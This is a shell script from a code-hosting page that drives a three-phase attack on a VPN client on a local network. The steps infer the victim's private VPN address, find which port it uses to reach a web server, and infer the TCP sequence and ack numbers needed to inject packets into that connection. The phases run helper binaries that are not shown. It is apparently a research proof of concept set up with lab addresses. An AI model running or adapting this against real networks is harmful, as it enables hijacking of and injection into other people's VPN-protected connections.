You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

42 lines
1.3 KiB

  1. REMOTE_ADDR=192.168.3.2 # ip of web-server to check for connection
  2. REMOTE_PORT=8080 # web server port
  3. VICTIM_WLAN_ADDR=172.16.4.2 # vpn client wlan ip
  4. WLAN_GATEWAY=172.16.4.254 # address of local network gateway
  5. VICTIM_PRIV_NET=10.8.0.0
  6. PRIV_NETMASK=255.255.255.0
  7. REQUEST_SIZE=529
  8. DEST_MAC=08:00:27:e8:bf:1f
  9. INTERFACE=enp0s9
  10. printf "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 1 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
  11. echo `date`
  12. echo "attempting to infer client's private VPN address.."
  13. cd ../first_phase
  14. PRIV_IP="$(sudo ./send_p1 $DEST_MAC $VICTIM_PRIV_NET $PRIV_NETMASK $WLAN_GATEWAY $INTERFACE)"
  15. echo "phase 1 client private IP: ${PRIV_IP}"
  16. printf "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 2 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
  17. echo `date`
  18. echo "determining if client is talking to ${REMOTE_ADDR} on any port.."
  19. cd ../sec_phase
  20. VPORT="$(sudo ./send_p2 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $INTERFACE)"
  21. echo "phase 2 port result: ${VPORT}"
  22. printf "\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n~~~~~~~~~~~ PHASE 3 ~~~~~~~~~~~\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"
  23. echo `date`
  24. echo "beginning phase 3 to infer sequence and ack numbers needed to inject.."
  25. cd ../third_phase
  26. sudo ./send_p3 $REMOTE_ADDR $REMOTE_PORT $VICTIM_WLAN_ADDR $PRIV_IP $DEST_MAC $VPORT $REQUEST_SIZE $INTERFACE
  27. echo `date`